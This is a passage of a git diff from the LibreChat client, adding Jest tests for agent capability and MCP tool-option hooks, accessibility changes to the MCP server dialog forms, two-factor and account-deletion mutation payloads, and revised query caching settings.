+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+ useSharePointFileHandlingNoChatContext: () => ({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+ SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+jest.mock('../FileSearchCheckbox', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+ MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ SharePointIcon: () => ,
+ AttachmentIcon: () => ,
+ DropdownPopup: () => null,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('FileSearch', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled for provider', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and no provider config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx
index 188c518597..d4096ea96a 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx
@@ -1,10 +1,10 @@
import { FormProvider } from 'react-hook-form';
+import type { useMCPServerForm } from './hooks/useMCPServerForm';
import ConnectionSection from './sections/ConnectionSection';
import BasicInfoSection from './sections/BasicInfoSection';
import TransportSection from './sections/TransportSection';
-import AuthSection from './sections/AuthSection';
import TrustSection from './sections/TrustSection';
-import type { useMCPServerForm } from './hooks/useMCPServerForm';
+import AuthSection from './sections/AuthSection';
interface MCPServerFormProps {
formHook: ReturnType;
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx
index f86d3f8056..c9d3473d60 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx
@@ -1,13 +1,18 @@
import React, { useState, useEffect } from 'react';
+import { Copy, CopyCheck } from 'lucide-react';
import {
- OGDialog,
- OGDialogTemplate,
- OGDialogContent,
- OGDialogHeader,
- OGDialogTitle,
+ Label,
+ Input,
Button,
- TrashIcon,
Spinner,
+ TrashIcon,
+ useToastContext,
+ OGDialog,
+ OGDialogTitle,
+ OGDialogHeader,
+ OGDialogFooter,
+ OGDialogContent,
+ OGDialogTemplate,
} from '@librechat/client';
import {
SystemRoles,
@@ -16,10 +21,10 @@ import {
PermissionBits,
PermissionTypes,
} from 'librechat-data-provider';
-import { GenericGrantAccessDialog } from '~/components/Sharing';
import { useAuthContext, useHasAccess, useResourcePermissions, MCPServerDefinition } from '~/hooks';
-import { useLocalize } from '~/hooks';
+import { GenericGrantAccessDialog } from '~/components/Sharing';
import { useMCPServerForm } from './hooks/useMCPServerForm';
+import { useLocalize, useCopyToClipboard } from '~/hooks';
import MCPServerForm from './MCPServerForm';
interface MCPServerDialogProps {
@@ -39,8 +44,10 @@ export default function MCPServerDialog({
}: MCPServerDialogProps) {
const localize = useLocalize();
const { user } = useAuthContext();
+ const { showToast } = useToastContext();
// State for dialogs
+ const [isCopying, setIsCopying] = useState(false);
const [showDeleteConfirm, setShowDeleteConfirm] = useState(false);
const [showRedirectUriDialog, setShowRedirectUriDialog] = useState(false);
const [createdServerId, setCreatedServerId] = useState(null);
@@ -99,20 +106,26 @@ export default function MCPServerDialog({
? `${window.location.origin}/api/mcp/${createdServerId}/oauth/callback`
: '';
+ const copyLink = useCopyToClipboard({ text: redirectUri });
+
return (
<>
{/* Delete confirmation dialog */}
setShowDeleteConfirm(isOpen)}>
{localize('com_ui_mcp_server_delete_confirm')}}
- selection={{
- selectHandler: handleDelete,
- selectClasses:
- 'bg-destructive text-white transition-all duration-200 hover:bg-destructive/80',
- selectText: isDeleting ? : localize('com_ui_delete'),
- }}
+ title={localize('com_ui_delete_mcp_server')}
+ className="w-11/12 max-w-md"
+ description={localize('com_ui_mcp_server_delete_confirm', { 0: server?.serverName })}
+ selection={
+
+ {isDeleting ? : localize('com_ui_delete')}
+
+ }
/>
@@ -127,48 +140,53 @@ export default function MCPServerDialog({
}
}}
>
-
-
+
+
{localize('com_ui_mcp_server_created')}
-
-
- {localize('com_ui_redirect_uri_instructions')}
-
-
-
+
+
{localize('com_ui_redirect_uri_instructions')}
+
+
+
{localize('com_ui_redirect_uri')}
-
+
-
{
- navigator.clipboard.writeText(redirectUri);
- }}
+ size="icon"
variant="outline"
- className="whitespace-nowrap"
+ onClick={() => {
+ if (isCopying) return;
+ showToast({ message: localize('com_ui_copied_to_clipboard') });
+ copyLink(setIsCopying);
+ }}
+ disabled={isCopying}
+ className="p-0"
+ aria-label={localize('com_ui_copy_link')}
>
- {localize('com_ui_copy_link')}
+ {isCopying ? : }
-
+
{
setShowRedirectUriDialog(false);
onOpenChange(false);
setCreatedServerId(null);
}}
- variant="submit"
- className="text-white"
>
{localize('com_ui_done')}
-
+
@@ -187,6 +205,7 @@ export default function MCPServerDialog({
})
: undefined
}
+ showCloseButton={false}
className="w-11/12 md:max-w-3xl"
main={ }
footerClassName="sm:justify-between"
@@ -194,16 +213,15 @@ export default function MCPServerDialog({
isEditMode ? (
setShowDeleteConfirm(true)}
disabled={isSubmitting || isDeleting}
>
-
-
-
+
{shouldShowShareButton && server && (
{isSubmitting ? (
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
index 7d247a39a3..6d18ccf15b 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/AuthSection.tsx
@@ -1,11 +1,11 @@
import { useMemo, useState } from 'react';
+import { Copy, CopyCheck } from 'lucide-react';
import { useFormContext, useWatch } from 'react-hook-form';
import { Label, Input, Checkbox, SecretInput, Radio, useToastContext } from '@librechat/client';
-import { Copy, CopyCheck } from 'lucide-react';
-import { useLocalize, useCopyToClipboard } from '~/hooks';
-import { cn } from '~/utils';
import { AuthTypeEnum, AuthorizationTypeEnum } from '../hooks/useMCPServerForm';
import type { MCPServerFormData } from '../hooks/useMCPServerForm';
+import { useLocalize, useCopyToClipboard } from '~/hooks';
+import { cn } from '~/utils';
interface AuthSectionProps {
isEditMode: boolean;
@@ -62,15 +62,20 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
return (
{/* Auth Type Radio */}
-
- {localize('com_ui_authentication')}
+
+
+
+ {localize('com_ui_authentication')}
+
+
setValue('auth.auth_type', val as AuthTypeEnum)}
fullWidth
+ aria-labelledby="auth-type-label"
/>
-
+
{/* API Key Fields */}
{authType === AuthTypeEnum.ServiceHttp && (
@@ -83,9 +88,13 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
onCheckedChange={(checked) =>
setValue('auth.api_key_source', checked ? 'user' : 'admin')
}
- aria-label={localize('com_ui_user_provides_key')}
+ aria-labelledby="user_provides_key_label"
/>
-
+
{localize('com_ui_user_provides_key')}
@@ -101,8 +110,12 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
)}
{/* Header Format Radio */}
-
- {localize('com_ui_header_format')}
+
+
+
+
-
+
{/* Custom header name */}
{authorizationType === AuthorizationTypeEnum.Custom && (
@@ -137,27 +151,67 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
{localize('com_ui_client_id')}{' '}
- {!isEditMode && * }
+ {!isEditMode && (
+ <>
+
+ *
+
+ {localize('com_ui_field_required')}
+ >
+ )}
+ {errors.auth?.oauth_client_id && (
+
+ {localize('com_ui_field_required')}
+
+ )}
{localize('com_ui_client_secret')}{' '}
- {!isEditMode && * }
+ {!isEditMode && (
+ <>
+
+ *
+
+ {localize('com_ui_field_required')}
+ >
+ )}
+ {errors.auth?.oauth_client_secret && (
+
+ {localize('com_ui_field_required')}
+
+ )}
@@ -196,9 +250,12 @@ export default function AuthSection({ isEditMode, serverName }: AuthSectionProps
{/* Redirect URI */}
{isEditMode && redirectUri && (
-
{localize('com_ui_redirect_uri')}
+
+ {localize('com_ui_redirect_uri')}
+
-
- {localize('com_ui_name')} *
+
+ {localize('com_ui_name')}{' '}
+
+ *
+
+ {localize('com_ui_field_required')}
- {errors.title && {errors.title.message}
}
+ {errors.title && (
+
+ {errors.title.message}
+
+ )}
- {/* Description - always visible, full width */}
+ {/* Description */}
-
+
{localize('com_ui_description')}{' '}
{localize('com_ui_optional')}
-
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx
index 5d7094fd83..ee77a54699 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx
@@ -15,13 +15,19 @@ export default function ConnectionSection() {
return (
- {localize('com_ui_mcp_url')} *
+ {localize('com_ui_mcp_url')}{' '}
+
+ *
+
+ {localize('com_ui_field_required')}
{
@@ -29,9 +35,13 @@ export default function ConnectionSection() {
return isValidUrl(normalized) || localize('com_ui_mcp_invalid_url');
},
})}
- className={cn(errors.url && 'border-red-500 focus:border-red-500')}
+ className={cn(errors.url && 'border-border-destructive')}
/>
- {errors.url &&
{errors.url.message}
}
+ {errors.url && (
+
+ {errors.url.message}
+
+ )}
);
}
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx
index 80d4595719..5c7b610b70 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx
@@ -25,14 +25,19 @@ export default function TransportSection() {
);
return (
-
- {localize('com_ui_mcp_transport')}
+
+
+
+ {localize('com_ui_mcp_transport')}
+
+
-
+
);
}
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx
index 854ac717b7..36d8d73a49 100644
--- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx
+++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx
@@ -26,17 +26,17 @@ export default function TrustSection() {
checked={field.value}
onCheckedChange={field.onChange}
aria-labelledby="trust-label"
- aria-describedby="trust-description"
+ aria-describedby={
+ errors.trust ? 'trust-description trust-error' : 'trust-description'
+ }
+ aria-invalid={errors.trust ? 'true' : 'false'}
+ aria-required="true"
className="mt-0.5"
/>
)}
/>
-
-
+
+
{startupConfig?.interface?.mcpServers?.trustCheckbox?.label ? (
*
+
+ *
+
{startupConfig?.interface?.mcpServers?.trustCheckbox?.subLabel ? (
@@ -68,7 +70,9 @@ export default function TrustSection() {
{errors.trust && (
- {localize('com_ui_field_required')}
+
+ {localize('com_ui_field_required')}
+
)}
);
diff --git a/client/src/components/Tools/MCPToolSelectDialog.tsx b/client/src/components/Tools/MCPToolSelectDialog.tsx
index 487f767250..a27484d4e8 100644
--- a/client/src/components/Tools/MCPToolSelectDialog.tsx
+++ b/client/src/components/Tools/MCPToolSelectDialog.tsx
@@ -96,17 +96,17 @@ function MCPToolSelectDialog({
await new Promise((resolve) => setTimeout(resolve, 500));
}
- // Then initialize server if needed
+ // Only initialize if no cached tools exist; skip if tools are already available from DB
const serverInfo = mcpServersMap.get(serverName);
- if (!serverInfo?.isConnected) {
+ if (!serverInfo?.tools?.length) {
const result = await initializeServer(serverName);
- if (result?.success && result.oauthRequired && result.oauthUrl) {
+ if (result?.oauthRequired && result.oauthUrl) {
setIsInitializing(null);
- return;
+ return; // OAuth flow must complete first
}
}
- // Finally, add tools to form
+ // Add tools to form (refetches from backend's persisted cache)
await addToolsToForm(serverName);
setIsInitializing(null);
} catch (error) {
diff --git a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
index cc668cb61a..2cf509cd2c 100644
--- a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
+++ b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx
@@ -1,3 +1,6 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react';
import '@testing-library/jest-dom';
@@ -11,15 +14,6 @@ const ThrowError = ({ shouldThrow }: { shouldThrow: boolean }) => {
return {'Normal component'}
;
};
-// Mock window.location.reload
-const mockReload = jest.fn();
-Object.defineProperty(window, 'location', {
- value: {
- reload: mockReload,
- },
- writable: true,
-});
-
describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
beforeEach(() => {
jest.clearAllMocks();
@@ -53,6 +47,8 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
});
it('should reload page when refresh button is clicked', () => {
+ const reloadSpy = jest.spyOn(window.location, 'reload').mockImplementation(() => {});
+
render(
@@ -62,6 +58,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => {
const refreshButton = screen.getByRole('button', { name: 'Reload the page' });
fireEvent.click(refreshButton);
- expect(mockReload).toHaveBeenCalled();
+ expect(reloadSpy).toHaveBeenCalled();
});
});
diff --git a/client/src/data-provider/Auth/mutations.ts b/client/src/data-provider/Auth/mutations.ts
index 298ddd9b64..9930e42b4f 100644
--- a/client/src/data-provider/Auth/mutations.ts
+++ b/client/src/data-provider/Auth/mutations.ts
@@ -68,14 +68,14 @@ export const useRefreshTokenMutation = (
/* User */
export const useDeleteUserMutation = (
- options?: t.MutationOptions,
-): UseMutationResult => {
+ options?: t.MutationOptions,
+): UseMutationResult => {
const queryClient = useQueryClient();
const clearStates = useClearStates();
const resetDefaultPreset = useResetRecoilState(store.defaultPreset);
return useMutation([MutationKeys.deleteUser], {
- mutationFn: () => dataService.deleteUser(),
+ mutationFn: (payload?: t.TDeleteUserRequest) => dataService.deleteUser(payload),
...(options || {}),
onSuccess: (...args) => {
resetDefaultPreset();
@@ -90,11 +90,11 @@ export const useDeleteUserMutation = (
export const useEnableTwoFactorMutation = (): UseMutationResult<
t.TEnable2FAResponse,
unknown,
- void,
+ t.TEnable2FARequest | undefined,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation(() => dataService.enableTwoFactor(), {
+ return useMutation((payload?: t.TEnable2FARequest) => dataService.enableTwoFactor(payload), {
onSuccess: (data) => {
queryClient.setQueryData([QueryKeys.user, '2fa'], data);
},
@@ -146,15 +146,18 @@ export const useDisableTwoFactorMutation = (): UseMutationResult<
export const useRegenerateBackupCodesMutation = (): UseMutationResult<
t.TRegenerateBackupCodesResponse,
unknown,
- void,
+ t.TRegenerateBackupCodesRequest | undefined,
unknown
> => {
const queryClient = useQueryClient();
- return useMutation(() => dataService.regenerateBackupCodes(), {
- onSuccess: (data) => {
- queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+ return useMutation(
+ (payload?: t.TRegenerateBackupCodesRequest) => dataService.regenerateBackupCodes(payload),
+ {
+ onSuccess: (data) => {
+ queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data);
+ },
},
- });
+ );
};
export const useVerifyTwoFactorTempMutation = (
diff --git a/client/src/data-provider/MCP/queries.ts b/client/src/data-provider/MCP/queries.ts
index afc17f3a93..8590e43735 100644
--- a/client/src/data-provider/MCP/queries.ts
+++ b/client/src/data-provider/MCP/queries.ts
@@ -12,10 +12,10 @@ export const useMCPServersQuery = (
[QueryKeys.mcpServers],
() => dataService.getMCPServers(),
{
- staleTime: 1000 * 60 * 5, // 5 minutes - data stays fresh longer
- refetchOnWindowFocus: false,
+ staleTime: 30 * 1000, // 30 seconds — short enough to pick up servers that finish initializing after first load
+ refetchOnWindowFocus: true,
refetchOnReconnect: false,
- refetchOnMount: false,
+ refetchOnMount: true,
retry: false,
...config,
},
diff --git a/client/src/data-provider/queries.ts b/client/src/data-provider/queries.ts
index 8f2b702a3b..866e25a262 100644
--- a/client/src/data-provider/queries.ts
+++ b/client/src/data-provider/queries.ts
@@ -31,7 +31,7 @@ import type {
SharedLinksResponse,
} from 'librechat-data-provider';
import type { ConversationCursorData } from '~/utils/convos';
-import { findConversationInInfinite } from '~/utils';
+import { findConversationInInfinite, isNotFoundError } from '~/utils';
export const useGetPresetsQuery = (
config?: UseQueryOptions,
@@ -71,6 +71,12 @@ export const useGetConvoIdQuery = (
refetchOnWindowFocus: false,
refetchOnReconnect: false,
refetchOnMount: false,
+ retry: (failureCount, error) => {
+ if (isNotFoundError(error)) {
+ return false;
+ }
+ return failureCount < 3;
+ },
...config,
},
);
diff --git a/client/src/data-provider/roles.ts b/client/src/data-provider/roles.ts
index 46edcd2dc9..356d9bd145 100644
--- a/client/src/data-provider/roles.ts
+++ b/client/src/data-provider/roles.ts
@@ -4,14 +4,15 @@ import {
dataService,
promptPermissionsSchema,
memoryPermissionsSchema,
+ mcpServersPermissionsSchema,
marketplacePermissionsSchema,
peoplePickerPermissionsSchema,
- mcpServersPermissionsSchema,
+ remoteAgentsPermissionsSchema,
} from 'librechat-data-provider';
import type {
- UseQueryOptions,
- UseMutationResult,
QueryObserverResult,
+ UseMutationResult,
+ UseQueryOptions,
} from '@tanstack/react-query';
import type * as t from 'librechat-data-provider';
@@ -243,3 +244,39 @@ export const useUpdateMarketplacePermissionsMutation = (
},
);
};
+
+export const useUpdateRemoteAgentsPermissionsMutation = (
+ options?: t.UpdateRemoteAgentsPermOptions,
+): UseMutationResult<
+ t.UpdatePermResponse,
+ t.TError | undefined,
+ t.UpdateRemoteAgentsPermVars,
+ unknown
+> => {
+ const queryClient = useQueryClient();
+ const { onMutate, onSuccess, onError } = options ?? {};
+ return useMutation(
+ (variables) => {
+ remoteAgentsPermissionsSchema.partial().parse(variables.updates);
+ return dataService.updateRemoteAgentsPermissions(variables);
+ },
+ {
+ onSuccess: (data, variables, context) => {
+ queryClient.invalidateQueries([QueryKeys.roles, variables.roleName]);
+ if (onSuccess) {
+ onSuccess(data, variables, context);
+ }
+ },
+ onError: (...args) => {
+ const error = args[0];
+ if (error != null) {
+ console.error('Failed to update remote agents permissions:', error);
+ }
+ if (onError) {
+ onError(...args);
+ }
+ },
+ onMutate,
+ },
+ );
+};
diff --git a/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts b/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts
new file mode 100644
index 0000000000..f6ff8dcbab
--- /dev/null
+++ b/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts
@@ -0,0 +1,112 @@
+import { renderHook } from '@testing-library/react';
+import { AgentCapabilities } from 'librechat-data-provider';
+import useAgentCapabilities from '../useAgentCapabilities';
+
+describe('useAgentCapabilities', () => {
+ it('should return all capabilities as false when capabilities is undefined', () => {
+ const { result } = renderHook(() => useAgentCapabilities(undefined));
+
+ expect(result.current.toolsEnabled).toBe(false);
+ expect(result.current.actionsEnabled).toBe(false);
+ expect(result.current.artifactsEnabled).toBe(false);
+ expect(result.current.ocrEnabled).toBe(false);
+ expect(result.current.contextEnabled).toBe(false);
+ expect(result.current.fileSearchEnabled).toBe(false);
+ expect(result.current.webSearchEnabled).toBe(false);
+ expect(result.current.codeEnabled).toBe(false);
+ expect(result.current.deferredToolsEnabled).toBe(false);
+ expect(result.current.programmaticToolsEnabled).toBe(false);
+ });
+
+ it('should return all capabilities as false when capabilities is empty array', () => {
+ const { result } = renderHook(() => useAgentCapabilities([]));
+
+ expect(result.current.toolsEnabled).toBe(false);
+ expect(result.current.deferredToolsEnabled).toBe(false);
+ expect(result.current.programmaticToolsEnabled).toBe(false);
+ });
+
+ it('should return true for enabled capabilities', () => {
+ const capabilities = [
+ AgentCapabilities.tools,
+ AgentCapabilities.deferred_tools,
+ AgentCapabilities.file_search,
+ ];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.toolsEnabled).toBe(true);
+ expect(result.current.deferredToolsEnabled).toBe(true);
+ expect(result.current.fileSearchEnabled).toBe(true);
+ expect(result.current.actionsEnabled).toBe(false);
+ expect(result.current.webSearchEnabled).toBe(false);
+ });
+
+ it('should return deferredToolsEnabled as true when deferred_tools is in capabilities', () => {
+ const capabilities = [AgentCapabilities.deferred_tools];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.deferredToolsEnabled).toBe(true);
+ });
+
+ it('should return deferredToolsEnabled as false when deferred_tools is not in capabilities', () => {
+ const capabilities = [
+ AgentCapabilities.tools,
+ AgentCapabilities.actions,
+ AgentCapabilities.artifacts,
+ ];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.deferredToolsEnabled).toBe(false);
+ });
+
+ it('should return programmaticToolsEnabled as true when programmatic_tools is in capabilities', () => {
+ const capabilities = [AgentCapabilities.programmatic_tools];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.programmaticToolsEnabled).toBe(true);
+ });
+
+ it('should return programmaticToolsEnabled as false when programmatic_tools is not in capabilities', () => {
+ const capabilities = [
+ AgentCapabilities.tools,
+ AgentCapabilities.actions,
+ AgentCapabilities.artifacts,
+ ];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.programmaticToolsEnabled).toBe(false);
+ });
+
+ it('should handle all capabilities being enabled', () => {
+ const capabilities = [
+ AgentCapabilities.tools,
+ AgentCapabilities.actions,
+ AgentCapabilities.artifacts,
+ AgentCapabilities.ocr,
+ AgentCapabilities.context,
+ AgentCapabilities.file_search,
+ AgentCapabilities.web_search,
+ AgentCapabilities.execute_code,
+ AgentCapabilities.deferred_tools,
+ AgentCapabilities.programmatic_tools,
+ ];
+
+ const { result } = renderHook(() => useAgentCapabilities(capabilities));
+
+ expect(result.current.toolsEnabled).toBe(true);
+ expect(result.current.actionsEnabled).toBe(true);
+ expect(result.current.artifactsEnabled).toBe(true);
+ expect(result.current.ocrEnabled).toBe(true);
+ expect(result.current.contextEnabled).toBe(true);
+ expect(result.current.fileSearchEnabled).toBe(true);
+ expect(result.current.webSearchEnabled).toBe(true);
+ expect(result.current.codeEnabled).toBe(true);
+ expect(result.current.deferredToolsEnabled).toBe(true);
+ expect(result.current.programmaticToolsEnabled).toBe(true);
+ });
+});
diff --git a/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts b/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts
new file mode 100644
index 0000000000..caba94016f
--- /dev/null
+++ b/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts
@@ -0,0 +1,656 @@
+import { renderHook, act } from '@testing-library/react';
+import { useFormContext, useWatch } from 'react-hook-form';
+import type { AgentToolType } from 'librechat-data-provider';
+import useMCPToolOptions from '../useMCPToolOptions';
+
+jest.mock('react-hook-form', () => ({
+ useFormContext: jest.fn(),
+ useWatch: jest.fn(),
+}));
+
+const mockSetValue = jest.fn();
+const mockGetValues = jest.fn();
+
+const createMockTool = (toolId: string): AgentToolType => ({
+ tool_id: toolId,
+ metadata: { name: toolId, description: `Description for ${toolId}` },
+});
+
+describe('useMCPToolOptions', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ (useFormContext as jest.Mock).mockReturnValue({
+ getValues: mockGetValues,
+ setValue: mockSetValue,
+ control: {},
+ });
+ (useWatch as jest.Mock).mockReturnValue(undefined);
+ mockGetValues.mockReturnValue({});
+ });
+
+ describe('isToolDeferred', () => {
+ it('should return false when tool_options is undefined', () => {
+ (useWatch as jest.Mock).mockReturnValue(undefined);
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolDeferred('tool1')).toBe(false);
+ });
+
+ it('should return false when tool has no options', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolDeferred('tool1')).toBe(false);
+ });
+
+ it('should return false when defer_loading is not set', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['direct'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolDeferred('tool1')).toBe(false);
+ });
+
+ it('should return true when defer_loading is true', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolDeferred('tool1')).toBe(true);
+ });
+
+ it('should return false when defer_loading is false', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: false },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolDeferred('tool1')).toBe(false);
+ });
+ });
+
+ describe('isToolProgrammatic', () => {
+ it('should return false when tool_options is undefined', () => {
+ (useWatch as jest.Mock).mockReturnValue(undefined);
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolProgrammatic('tool1')).toBe(false);
+ });
+
+ it('should return false when tool has no options', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolProgrammatic('tool1')).toBe(false);
+ });
+
+ it('should return false when allowed_callers does not include code_execution', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['direct'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolProgrammatic('tool1')).toBe(false);
+ });
+
+ it('should return true when allowed_callers includes code_execution', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolProgrammatic('tool1')).toBe(true);
+ });
+
+ it('should return true when allowed_callers includes both direct and code_execution', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['direct', 'code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.isToolProgrammatic('tool1')).toBe(true);
+ });
+ });
+
+ describe('toggleToolDefer', () => {
+ it('should enable defer_loading for a tool with no existing options', () => {
+ mockGetValues.mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolDefer('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should enable defer_loading while preserving other options', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolDefer('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { allowed_callers: ['code_execution'], defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should disable defer_loading and preserve other options', () => {
+ mockGetValues.mockReturnValue({
